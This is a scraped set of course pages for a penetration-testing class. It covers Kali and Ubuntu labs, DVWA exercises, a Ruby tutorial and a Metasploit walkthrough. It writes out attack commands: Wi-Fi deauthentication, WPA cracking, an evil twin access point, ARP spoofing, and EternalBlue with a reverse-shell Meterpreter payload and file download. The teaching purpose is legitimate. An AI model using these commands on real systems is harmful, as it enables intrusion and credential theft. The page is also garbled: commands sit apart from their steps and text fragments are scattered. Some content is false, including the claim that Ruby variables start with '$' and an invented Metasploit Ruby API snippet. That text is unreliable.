Only this pageAll pages
Powered by GitBook
1 of 10

CS4066 - Penetration Testing and Ethical Hacking

Loading...

Loading...

Loading...

Loading...

Unit 5

Loading...

Unit 6

Loading...

Loading...

Loading...

Kali Linux Lab

Kali Linux Lab Activity for Cybersecurity

Objective

This lab activity is designed to introduce students to Kali Linux, a popular distribution for penetration testing and ethical hacking. Students will learn to set up a Kali Linux environment, explore common security tools, and perform various cybersecurity exercises with a special focus on wireless network security.

Prerequisites

  • VMware Workstation Player installed on your computer

  • Kali Linux ISO file downloaded from the official website (https://www.kali.org/get-kali/)

  • A USB wireless adapter (for wireless security exercises)

Part 1: Setting up the Kali Linux Virtual Machine

Step 1: Create a New Virtual Machine

  1. Open VMware Workstation Player

  2. Click on "Create a New Virtual Machine"

  3. Choose "Installer disc image file (iso)" and select your Kali Linux ISO

  4. Follow the wizard, allocating at least 50GB of disk space and 4GB of RAM

Step 2: Install Kali Linux

  1. Start the virtual machine and follow the Kali Linux installation prompts

  2. Choose "Graphical Install" for a user-friendly installation process

  3. Select your language, location, and keyboard layout

  4. Create a user account with a strong password

Step 3: Update Kali Linux

  1. Log in to your Kali Linux system

  2. Open a terminal (use the terminal icon or press Ctrl+Alt+T)

  3. Update the system with the following commands:

  4. Reboot the system after updates are complete:

Part 2: Exploring Kali Linux and Basic Tools

Step 1: Familiarize with the Kali Linux Environment

  1. Explore the application menu and note the categories of tools available

  2. Open the terminal and practice basic Linux commands:

Step 2: Network Reconnaissance with Nmap

  1. Open a terminal and use Nmap to scan your local network:

    (Replace 192.168.1.0/24 with your local network range)

  2. Perform a more detailed scan on a specific IP (use your VM's IP or a device you own):

Step 3: Web Application Analysis with Burp Suite

  1. Launch Burp Suite from the applications menu

  2. Configure your browser to use Burp Suite as a proxy (usually 127.0.0.1:8080)

  3. Visit a test website (like http://testphp.vulnweb.com) and observe the traffic in Burp Suite

  4. Explore the different tabs in Burp Suite (Proxy, Target, Spider, etc.)

Part 3: Wireless Network Security

Step 1: Wireless Interface Management

  1. List available network interfaces:

  2. If using a virtual machine, attach your USB wireless adapter

  3. Put your wireless interface into monitor mode:

    (Replace wlan0 with your wireless interface name)

Step 2: Capture Wireless Traffic

  1. Use airodump-ng to capture nearby wireless traffic:

  2. Observe the different networks and clients

Step 3: Focused Capture on a Specific Access Point

  1. Choose a target network (use only networks you own or have permission to test)

  2. Capture traffic for the specific network:

    Replace [channel] and [BSSID] with the target network's information

Step 4: Deauthentication Attack Demonstration

  1. In a new terminal, perform a deauthentication attack:

    This sends 10 deauthentication packets to the target network

  2. Observe the effect in the airodump-ng window

Step 5: Cracking WEP (if applicable)

  1. If you've captured sufficient data from a WEP network:

  2. Discuss why WEP is insecure and should not be used

Step 6: Cracking WPA/WPA2 using a Wordlist

  1. Convert the capture to a hashcat-compatible format:

  2. Use hashcat to attempt cracking:

  3. Discuss the importance of strong, unique passwords

Step 7: Evil Twin Attack Setup

  1. Create a fake access point:

  2. Set up DHCP on the fake AP:

  3. Discuss the risks of connecting to unknown Wi-Fi networks

Step 8: Wi-Fi Pineapple Emulation

  1. Install create_ap:

  2. Create a Wi-Fi hotspot that automatically responds to probe requests:

  3. Discuss how this technique can be used for man-in-the-middle attacks

Step 9: Wireless IDS/IPS with Kismet

  1. Install Kismet:

  2. Run Kismet:

  3. Explore the web interface (usually at http://localhost:2501)

  4. Discuss how Kismet can be used to detect wireless attacks

Step 10: Secure Wi-Fi Setup

  1. Discuss best practices for securing wireless networks:

    • Using WPA3 or WPA2-Enterprise

    • Implementing strong, unique passwords

    • Enabling network encryption

Part 4: Password Cracking with John the Ripper

Step 1: Create a Sample Password File

  1. Create a file with some sample hashed passwords:

Step 2: Use John the Ripper to Crack Passwords

  1. Run John the Ripper on the password file:

  2. Observe the cracking process and results

Part 5: Vulnerability Scanning with OpenVAS

Step 1: Set up OpenVAS

  1. Install OpenVAS:

  2. Set up OpenVAS:

    This may take some time to complete.

Step 2: Perform a Vulnerability Scan

  1. Access the OpenVAS web interface (usually at https://localhost:9392)

  2. Create a new target using an IP address you have permission to scan

  3. Create a new task to scan this target

  4. Run the scan and analyze the results

Conclusion

In this comprehensive lab, you've learned how to set up a Kali Linux environment and use various cybersecurity tools. You've performed network reconnaissance, analyzed web application traffic, explored wireless network security in depth, cracked passwords, and conducted vulnerability scanning. These skills form a solid foundation for further exploration of ethical hacking and penetration testing.

Name your virtual machine "Kali-Cybersec-Lab"

Use the entire disk for installation and select "All files in one partition"

  • Complete the installation and reboot when prompted

  • Disabling WPS

  • Regularly updating router firmware

  • Set up a secure wireless network on a test router (if available)

  • sudo apt update
    sudo apt full-upgrade -y
    sudo reboot
    ls, cd, pwd, mkdir, rm, cp, mv
    sudo nmap -sn 192.168.1.0/24
    sudo nmap -sV -O 192.168.1.X
    iwconfig
    sudo airmon-ng start wlan0
    sudo airodump-ng wlan0mon
    sudo airodump-ng -c [channel] --bssid [BSSID] -w capture wlan0mon
    sudo aireplay-ng --deauth 10 -a [BSSID] wlan0mon
    aircrack-ng capture*.cap
    aircrack-ng capture*.cap -J output
    hashcat -m 2500 output.hccapx /usr/share/wordlists/rockyou.txt
    sudo airbase-ng -e "Free WiFi" -c 1 wlan0mon
    sudo dhcpd at0
    sudo apt install create_ap
    sudo create_ap wlan0 eth0 MyPineapple
    sudo apt install kismet
    kismet
    echo "user1:AZl.zWwxIh15Q" > passwords.txt
    echo "user2:HX9LLTdc/jiDE" >> passwords.txt
    john passwords.txt
    sudo apt install openvas
    sudo gvm-setup

    Unit 4

    Creating a Metasploit Module to Detect Online Websites

    Activity

    Create a Metasploit module that takes a URL as input and checks if the corresponding website is online.

    check_online.rb

    Save the module as check_online.rb in the Metasploit modules/auxiliary/scanner/http directory.

    Restart Metasploit to ensure it loads custom modules from ~/.msf4/modules.

    Load the Module

    Run the Module

    Introduction to Linux Lab

    Ubuntu Server LTS Lab Activity for Cybersecurity

    Objective

    This lab activity is designed to introduce undergraduate cybersecurity students to Ubuntu Server LTS, focusing on basic system administration, security configurations, and common cybersecurity tools in a server environment.

    ##
    # This module requires Metasploit
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(update_info(info,
          'Name'        => 'Check if Website is Online',
          'Description' => %q{
            This module checks if a target website is online by sending an HTTP GET request.
          },
          'Author'      => ['Your Name'],
          'License'     => MSF_LICENSE,
          'References'  => []
        ))
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The path to check if the website is online', '/'])
          ]
        )
      end
    
      def run
        begin
          res = send_request_raw({
            'uri'     => datastore['TARGETURI'],
            'method'  => 'GET'
          })
    
          if res && res.code == 200
            print_good("#{peer} is online.")
          else
            print_error("#{peer} is offline or unreachable.")
          end
        rescue ::Rex::ConnectionError
          print_error("#{peer} is offline or unreachable.")
        end
      end
    end
    reload_all
    use auxiliary/scanner/http/check_online
    set RHOSTS https://www.wpunj.edu
    run
    Prerequisites
    • VMware Workstation Player installed on your computer

    • Ubuntu Server 22.04 LTS ISO file downloaded (or the latest LTS version available)

    Part 1: Setting up the Ubuntu Server Virtual Machine

    Step 1: Create a New Virtual Machine

    1. Open VMware Workstation Player

    2. Click on "Create a New Virtual Machine"

    3. Choose "Installer disc image file (iso)" and select your Ubuntu Server ISO

    4. Follow the wizard, allocating at least 20GB of disk space and 2GB of RAM

    Step 2: Install Ubuntu Server

    1. Start the virtual machine and follow the Ubuntu Server installation prompts

    2. Choose to install Ubuntu Server (minimized installation)

    3. Configure network settings (DHCP is usually fine for this lab)

    4. Set up a username and password for the administrator account

    5. Choose to install OpenSSH server when prompted

    6. Do not select any additional featured server snaps

    Step 3: Update the System

    1. After installation, log in with your credentials

    2. Update the package list and upgrade installed packages:

    Part 2: Basic System Administration

    Step 1: User Management

    1. Create a new user:

    2. Add the new user to the sudo group:

    3. Switch to the new user:

    Step 2: File Permissions

    1. Create a directory and a file:

    2. Change permissions:

    3. Verify permissions:

    Part 3: Basic Security Configurations

    Step 1: Configure the Firewall

    1. Check firewall status:

    2. Enable the firewall:

    3. Allow SSH:

    Step 2: Secure SSH

    1. Edit SSH configuration:

    2. Make the following changes:

      • Change PermitRootLogin to no

      • Set PasswordAuthentication to no

      • Set MaxAuthTries to 3

    3. Restart SSH service:

    Part 4: Installing and Using Cybersecurity Tools

    Step 1: Install Nmap

    1. Install Nmap:

    2. Perform a basic scan (replace with a safe, authorized IP):

    Step 2: Install and Configure Fail2ban

    1. Install Fail2ban:

    2. Copy the configuration file:

    3. Edit the configuration:

      • Find the [sshd] section and set enabled = true

    4. Restart Fail2ban:

    Part 5: Log Analysis

    Step 1: Examine System Logs

    1. View the system log:

    2. Search for SSH-related entries:

    Step 2: Monitor Real-time Logs

    1. Use the tail command to monitor logs in real-time:

    2. In another terminal or from another machine, attempt to SSH into the server and observe the log entries

    Part 6: Basic Web Server Setup

    Step 1: Install Apache Web Server

    1. Install Apache:

    2. Allow HTTP traffic through the firewall:

    Step 2: Configure a Basic Web Page

    1. Edit the default web page:

    2. Add some basic HTML content:

    3. Save and exit the editor

    Step 3: Access the Web Server

    • From another machine on the network, open a web browser and navigate to the IP address of your Ubuntu Server

    Conclusion

    In this lab, you've learned how to set up an Ubuntu Server LTS virtual machine, perform basic system administration tasks, configure security settings, install and use common cybersecurity tools, and analyze system logs. You've also optionally set up a basic web server. These skills form a foundation for further exploration of Linux servers in cybersecurity contexts.

    Hacking Linux Lab

    Ubuntu Linux Hacking Lab Activity for Cybersecurity

    Objective

    This advanced lab activity builds upon the previous Ubuntu 22 Server lab, focusing on more complex ethical hacking techniques targeting Ubuntu Linux systems. Students will explore vulnerable web applications, container escapes, and advanced privilege escalation techniques.

    sudo apt update
    sudo apt upgrade -y
    sudo adduser securitystudent
    sudo usermod -aG sudo securitystudent
    su - securitystudent
    mkdir securefiles
    echo "This is a secret" > securefiles/secret.txt
    chmod 700 securefiles
    chmod 600 securefiles/secret.txt
    ls -l securefiles
    ls -l securefiles/secret.txt
    sudo ufw status
    sudo ufw enable
    sudo ufw allow ssh
    sudo nano /etc/ssh/sshd_config
    sudo apt install nmap -y
    sudo nmap 192.168.1.1
    sudo apt install fail2ban -y
    sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
    sudo nano /etc/fail2ban/jail.local
    sudo less /var/log/syslog
    sudo grep sshd /var/log/auth.log
    sudo tail -f /var/log/auth.log
    sudo apt install apache2 -y
    sudo ufw allow 'Apache'
    sudo nano /var/www/html/index.html
    <html>
      <body>
        <h1>Welcome to my secure server!</h1>
      </body>
    </html>
    sudo systemctl restart ssh
    sudo systemctl restart fail2ban

    Prerequisites

    • Completed basic Ubuntu 22 Server lab

    • VMware Workstation Player with Ubuntu Server 22.04 LTS installed

    • Basic familiarity with Linux command line and web technologies

    Important Note

    This lab is for educational purposes only. Always obtain proper authorization before attempting any hacking techniques on systems you do not own or have explicit permission to test.

    Part 1: Setting Up Vulnerable Applications

    Step 1: Install DVWA (Damn Vulnerable Web Application)

    1. SSH into your Ubuntu Server VM

    2. Install necessary packages:

    3. Download and set up DVWA:

    4. Configure DVWA:

    5. Set up the DVWA database:

    6. Access DVWA at http://DVWA and click "Create / Reset Database"

    Step 2: Set Up a Vulnerable Container

    1. Install Docker:

    2. Pull and run a vulnerable container:

    Part 2: Web Application Attacks

    Exercise 1: SQL Injection

    1. Access DVWA and navigate to the "SQL Injection" page

    2. Try to bypass login using SQL injection

    3. Attempt to extract database information using UNION-based SQL injection

    Exercise 2: Cross-Site Scripting (XSS)

    1. Navigate to the "XSS (Reflected)" page in DVWA

    2. Craft a payload to display an alert box

    3. Create a more complex XSS payload that steals cookies

    Exercise 3: File Inclusion

    1. Explore the "File Inclusion" page in DVWA

    2. Attempt to read sensitive system files using LFI (Local File Inclusion)

    3. If possible, achieve RFI (Remote File Inclusion) to execute remote code

    Part 3: Advanced Privilege Escalation

    Exercise 1: Kernel Exploitation

    1. Check the kernel version of your Ubuntu Server:

    2. Research and attempt to find a kernel exploit for this version

    3. Compile and run the exploit to gain root privileges

    Exercise 2: SUID Binary Exploitation

    1. Find SUID binaries on the system:

    2. Identify a vulnerable SUID binary (you may need to intentionally install one for this exercise)

    3. Exploit the SUID binary to gain root access

    Exercise 3: Exploiting Cron Jobs

    1. View the system-wide crontab:

    2. Identify a writable script that runs as root

    3. Modify the script to add a backdoor or elevate privileges

    Part 4: Network-Level Attacks

    Exercise 1: ARP Spoofing

    1. Install Ettercap:

    2. Perform ARP spoofing between two VMs or containers:

    3. Analyze the intercepted traffic

    Exercise 2: Setting Up a Rogue Access Point

    1. Install hostapd and dnsmasq:

    2. Configure a rogue access point

    3. Implement a captive portal to capture credentials

    Part 5: Forensics and Incident Response

    Exercise 1: Log Analysis

    1. Intentionally generate suspicious activities on the server

    2. Analyze logs in /var/log to detect the malicious activities

    3. Create a bash script to automate log analysis and alert on suspicious activities

    Exercise 2: Memory Forensics

    1. Install Volatility:

    2. Capture a memory dump of a running process

    3. Analyze the memory dump to find hidden processes or injected code

    Conclusion

    This advanced lab has provided hands-on experience with complex ethical hacking techniques targeting Ubuntu Linux systems. You've explored web application vulnerabilities, advanced privilege escalation methods, container security, network-level attacks, and basic forensics. Remember to always apply these skills ethically and legally.

    Ruby Tutorial

    1: Setting up Ruby

    Before we dive into learning Ruby, make sure you have the latest version of Ruby installed on your system. You can download it from the official Ruby website.

    Once you have Ruby installed, open a terminal or command prompt and type ruby -v to verify that it's working correctly.

    sudo apt update
    sudo apt install apache2 mysql-server php php-mysqli -y
    cd /var/www/html
    sudo git clone https://github.com/digininja/DVWA.git
    sudo chown -R www-data:www-data DVWA
    cd DVWA
    sudo cp config/config.inc.php.dist config/config.inc.php
    sudo sed -i "s/p@ssw0rd//" config/config.inc.php
    sudo apt install docker.io -y
    sudo docker run -d -p 8080:80 vulnerables/web-dvwa
    uname -a
    sudo find / -perm -4000 2>/dev/null
    sudo cat /etc/crontab
    sudo apt install ettercap-text-only -y
    sudo ettercap -T -S -i eth0 -M arp:remote /target1_ip/ /target2_ip/
    sudo apt install hostapd dnsmasq -y
    sudo apt install volatility -y
    2: Basic Syntax

    Ruby has a simple syntax that is easy to learn. Here are some basic concepts:

    • Variables: In Ruby, variables start with a dollar sign ($). For example: $my_variable = "Hello World!"

    • Strings: Strings are enclosed in quotes or double quotes. For example: "Hello World!" or 'Hello World!'

    • Numbers: Numbers can be integers or floating-point numbers. For example: 10, 3.14

    • Operators: Ruby has the usual arithmetic operators (+, -, *, /) as well as comparison operators (==, !=, <, >)

    • Methods: Methods are blocks of code that can be called multiple times with different inputs. For example: def greet(name); puts "Hello, #{name}!"; end

    3: Control Structures

    Control structures determine the flow of your program's execution.

    • If-else statements: Used to make decisions based on conditions.

    • Loops: Used to repeat a block of code for a specified number of times.

    • Case statements: Used to compare an expression with multiple values and execute different blocks of code accordingly.

    4: Arrays and Hashes

    Arrays and hashes are two fundamental data structures in Ruby.

    • Arrays: Ordered collections of elements, indexed by integers starting from 0.

    • Hashes: Unordered collections of key-value pairs.

    5: Methods and Blocks

    Methods are reusable blocks of code that take arguments and return values. Blocks are similar to methods but can be defined inline.

    • Method definition: Define a method using the def keyword.

    • Block definition: Define a block using the do...end or {} syntax.

    6: Object-Oriented Programming (OOP)

    Ruby is an object-oriented language that supports encapsulation, inheritance, and polymorphism.

    • Class definition: Define a class using the class keyword.

    • Inheritance: Create a new class that inherits from an existing class.

    7. Ruby Standard Library

    Ruby comes with a comprehensive standard library that includes modules like IO, File, and Socket.

    • File I/O: Read and write files using the File class.

    • Networking: Use the Socket class to create network connections.

    8: Ruby Gems and Bundler

    Ruby has a vast ecosystem of third-party libraries and frameworks, known as gems.

    • Gems: Install gems using the gem install command.

    • Bundler: Use Bundler to manage gem dependencies in your project.

    9: Ruby Metasploit Integration

    Now that you have a solid foundation in Ruby, let's explore how to integrate it with Metasploit!

    • Metasploit API: Use the Metasploit API to interact with the framework programmatically.

    • Metasploit Console: Use the Metasploit console to interact with the framework interactively.

    sudo mysql -e "CREATE DATABASE dvwa; CREATE USER dvwa@localhost IDENTIFIED BY 'p@ssw0rd'; GRANT ALL ON dvwa.* TO dvwa@localhost; FLUSH PRIVILEGES;"
    x = 10
    if x > 5
      puts "x is greater than 5"
    else
      puts "x is less than or equal to 5"
    end
    i = 0
    while i < 5 do
      puts "Loop iteration: #{i}"
      i += 1
    end
    x = "apple"
    case x
    when "banana"; puts "You chose banana!"
    when "apple"; puts "You chose apple!"
    else; puts "Invalid choice!"
    end
    fruits = ["apple", "banana", "orange"]
    puts fruits[1] # prints "banana"
    person = {name: "John Doe", age: 30}
    puts person[:age] # prints 30
    def greet(name)
      puts "Hello, #{name}!"
    end
    
    greet("Alice") # prints "Hello, Alice!"
    [1, 2, 3].each do |x|
      puts x
    end
    
    # equivalent to:
    [1, 2, 3].each { |x| puts x }
    class Car
      def initialize(make, model)
        @make = make
        @model = model
      end
    
      def honk
        puts "Beep!"
      end
    end
    
    my_car = Car.new("Toyota", "Corolla")
    my_car.honk # prints "Beep!"
    class ElectricCar < Car
      def initialize(make, model)
        super(make, model)
        @battery_capacity = 100
      end
    
      def charge
        puts "Charging battery..."
      end
    end
    
    my_electric_car = ElectricCar.new("Tesla", "Model S")
    my_electric_car.honk # prints "Beep!"
    my_electric_car.charge # prints "Charging battery..."
    file = File.open("example.txt", "w")
    file.puts "Hello World!"
    file.close
    
    # or use the block syntax:
    File.open("example.txt", "w") do |file|
      file.puts "Hello World!"
    end
    require 'socket'
    
    sock = TCPSocket.new('www.example.com', 80)
    sock.puts "GET / HTTP/1.0\r\nHost: www.example.com\r\n\r\n"
    puts sock.read
    
    # or use the block syntax:
    TCPSocket.open('www.example.com', 80) do |sock|
      sock.puts "GET / HTTP/1.0\r\nHost: www.example.com\r\n\r\n"
      puts sock.read
    end
    gem install rails
    # Gemfile:
    source 'https://rubygems.org'
    gem 'rails', '~> 6.0'
    
    # run:
    bundle install
    require 'msf/core'
    
    # create an instance of the Msf::Core class:
    core = Msf::Core.new
    
    # load a module:
    module = core.modules.load('exploit/multi/handler')
    
    # run the exploit:
    core.exploits.run(module)
    msfconsole

    Ruby Problems

    Problem 1: Math Operations

    Write a Ruby script that takes two integers as input, adds them together, and returns the result.

    Example Input: ruby script.rb 2 3 Expected Output: 5

    Solution Outline:

    • Define a method add_numbers that takes two integers as input.

    • Use the '+' operator to add the two numbers together.

    • Return the result.

    Problem 2: String Manipulation

    Write a Ruby script that takes a string as input and returns the string with all vowels removed.

    Example Input: "Hello World" Expected Output: "Hll Wrld"

    Solution Outline:

    • Define a method remove_vowels that takes a string as input.

    • Use regular expressions to match all vowels (both lowercase and uppercase) in the string.

    • Replace each vowel with an empty string using the gsub method.


    Problem 3: File Reading

    Write a Ruby script that reads a file named "input.txt" and prints its contents to the console.

    Assumptions:

    • The file exists in the same directory as the script.

    • The file contains only text data.

    Solution Outline:

    • Define a method read_file that takes a file name as input.

    • Open the file in read-only mode using the File.open method and assign it to a variable.

    • Read the contents of the file using the read method.

    Problem 4: Array Sorting

    Write a Ruby script that takes an array of integers as input, sorts it in ascending order, and prints the sorted array.

    Example Input: [3, 1, 2, 6] Expected Output: [1, 2, 3, 6]

    Solution Outline:

    • Define a method sort_array that takes an array of integers as input.

    • Use the sort method to sort the array in ascending order.

    • Return the sorted array.


    Problem 5: Hash Creation

    Write a Ruby script that takes two arrays as input (keys and values) and creates a hash from them. Print the resulting hash.

    Example Input: ["name", "age"], ["John", 30] Here is the rest of the combined version:

    Problem 5: Hash Creation

    Write a Ruby script that takes two arrays as input (keys and values) and creates a hash from them. Print the resulting hash.

    Example Input: ["name", "age"], ["John", 30]

    Solution Outline:

    • Define a method create_hash that takes two arrays as input.

    • Use the zip method to combine the keys and values into an array of arrays.

    • Use the to_h method to convert the array of arrays into a hash.

    Problem 6: IP Address Validation

    Write a Ruby script that takes an IP address as input and returns true if it is valid, and false otherwise.

    Example Input: "192.168.1.1" Expected Output: true

    Solution Outline:

    • Define a method is_valid_ip that takes an IP address as input.

    • Use regular expressions to match the IP address format.

    • Split the IP address into its four parts and convert each part to an integer.

    • Check if each part is within the range of 0-255 using the between?


    Problem 7: String Search

    Write a Ruby script that takes a string and a search term as input, and returns the index of the first occurrence of the search term in the string. If the search term is not found, return -1.

    Example Input: "Hello World", "World" Expected Output: 6

    Solution Outline:

    • Define a method find_string that takes a string and a search term as input.

    • Use the index method to find the index of the search term in the string.

    • If the search term is not found, return -1 using the || operator.

    def add_numbers(a, b)
      # Use the '+' operator to add the two numbers together
    
    end
    
    a = 2
    b = 3
    puts add_numbers(a, b)
    Return the resulting string.

    Close the file to free up system resources using the close method.

  • Return the contents of the file.

  • Return the resulting hash.

    method.
    def remove_vowels(input_string)
      # Use regular expressions to replace all vowels (both lowercase and uppercase) with an empty string
    
    end
    
    input_string = "Hello World"
    puts remove_vowels(input_string)
    def read_file(file_name)
      # Open the file in read-only mode ('r') and assign it to a variable
    
      # Read the contents of the file using the `read` method
    
      # Close the file to free up system resources
    
      # Return the contents of the file
    
    end
    
    file_name = "input.txt"
    puts read_file(file_name)
    def sort_array(input_array)
      # Use the `sort` method to sort the array in ascending order
    
    end
    
    input_array = [3, 1, 2, 6]
    puts sort_array(input_array).inspect
    def create_hash(keys, values)
      # Use the `zip` method to combine the keys and values into an array of arrays
    
      # Use the `to_h` method to convert the array of arrays into a hash
    
    end
    
    keys = ["name", "age"]
    values = ["John", 30]
    puts create_hash(keys, values).inspect
    def is_valid_ip(ip_address)
      # Use regular expressions to match the IP address format
    
    end
    
    ip_address = "192.168.1.1"
    puts is_valid_ip(ip_address)
    def find_string(search_term, text)
      # Use the `index` method to find the index of the search term
    
    end
    
    search_term = "World"
    text = "Hello World"
    puts find_string(search_term, text)

    Metasploit on Kali Linux

    Metasploit on Kali Linux: A Step-by-Step Tutorial

    Disclaimer: This tutorial is intended for educational purposes only. Always ensure you have explicit permission to perform penetration testing on any network or system. Unauthorized access to computer systems is illegal and unethical.


    Table of Contents

    1. Introduction to Metasploit

    2. Setting Up the Environment

    3. Starting Metasploit Framework

    4. Basic Commands in Metasploit


    1. Introduction to Metasploit

    Metasploit Framework is a powerful tool used by cybersecurity professionals for penetration testing and vulnerability assessments. It provides a suite of tools for simulating attacks on networks and systems to identify security weaknesses.

    2. Setting Up the Environment

    Prerequisites

    • Kali Linux installed on your machine (bare-metal, virtual machine, or live boot).

    • Basic understanding of networking and command-line interface.

    Updating Kali Linux

    Before starting, ensure your system is up-to-date:

    3. Starting Metasploit Framework

    Metasploit comes pre-installed on Kali Linux.

    To start the Metasploit console:

    1. Open a terminal window.

    2. Initialize the PostgreSQL database (required for Metasploit):

    3. Start the Metasploit console:

    You should see the Metasploit banner and the msf> prompt.

    You can also find it by navigating in the Kali Linux menu system.

    4. Basic Commands in Metasploit

    Familiarize yourself with some basic commands:

    • help: Displays help menu with a list of commands.

    • version: Shows the current version of Metasploit.

    • search: Searches for exploits, payloads, and modules.

    5. Scanning and Enumerating Targets

    Before exploiting, gather information about the target.

    Using Nmap within Metasploit

    1. Run Nmap scan:

      Replace 192.168.1.10 with the target IP address.

    2. View the scanned hosts:

    3. List open services and ports:

    6. Selecting and Configuring Exploits

    Searching for Exploits

    1. Use the search command with relevant keywords:

    Selecting an Exploit

    1. Choose an exploit module:

    2. View exploit options:

    Setting Exploit Options

    1. Set the target IP address:

    2. Confirm the options are set:

    7. Choosing and Configuring Payloads

    Listing Available Payloads

    1. Show compatible payloads:

    Selecting a Payload

    1. Choose a payload (e.g., reverse TCP shell):

    2. Set the local host IP (your machine's IP):

      Replace 192.168.1.5 with your Kali Linux IP address.

    3. (Optional) Set the local port:

    8. Executing the Exploit

    1. Run the exploit:

      Metasploit will attempt to exploit the target and establish a Meterpreter session.

    9. Post-Exploitation with Meterpreter

    Once a session is established, you can interact with the target system.

    Basic Meterpreter Commands

    • sysinfo: Displays system information.

    • getuid: Shows user ID.

    • shell: Drops into a shell on the target system.

    Exiting Meterpreter

    • exit: Closes the Meterpreter session.

    10. Closing the Session and Exiting Metasploit

    1. List active sessions:

    2. Interact with a session:

    3. Close a session:

    4. Exit Metasploit:

    11. Best Practices and Ethical Considerations

    • Legal Authorization: Always obtain written permission before performing any penetration testing.

    • Ethical Responsibility: Use Metasploit to improve security, not to exploit vulnerabilities for malicious purposes.

    • Confidentiality: Keep any sensitive data obtained during testing confidential.

    • Reporting: Provide detailed reports of your findings to the appropriate parties to help remediate vulnerabilities.


    Note: Always remember the importance of legality and ethics in cybersecurity work. Use these skills responsibly to contribute to a safer digital environment.

    Scanning and Enumerating Targets
  • Selecting and Configuring Exploits

  • Choosing and Configuring Payloads

  • Executing the Exploit

  • Post-Exploitation with Meterpreter

  • Closing the Session and Exiting Metasploit

  • Best Practices and Ethical Considerations

  • use: Selects a module to use.

  • show options: Displays options for the selected module.

  • screenshot: Takes a screenshot of the target desktop.

  • download: Downloads a file from the target system.

  • Continuous Learning: Stay updated with the latest security trends and Metasploit modules.

  • msf> use exploit/windows/smb/ms17_010_eternalblue
    msf> show options
    meterpreter> screenshot
    meterpreter> download C:\\path\\to\\file.txt
    sudo apt update && sudo apt upgrade -y
    sudo service postgresql start
    sudo msfconsole
    msf> help
    msf> version
    msf> search smb
    msf> db_nmap -sV -O 192.168.1.10
    msf> hosts
    msf> services
    msf> search type:exploit name:smb
    msf> use exploit/windows/smb/ms17_010_eternalblue
    msf> show options
    msf> set RHOSTS 192.168.1.10
    msf> show options
    msf> show payloads
    msf> set PAYLOAD windows/x64/meterpreter/reverse_tcp
    msf> set LHOST 192.168.1.5
    msf> set LPORT 4444
    msf> exploit
    meterpreter> sysinfo
    meterpreter> getuid
    meterpreter> shell
    meterpreter> exit
    msf> sessions -l
    msf> sessions -i [session_id]
    msf> sessions -k [session_id]
    msf> exit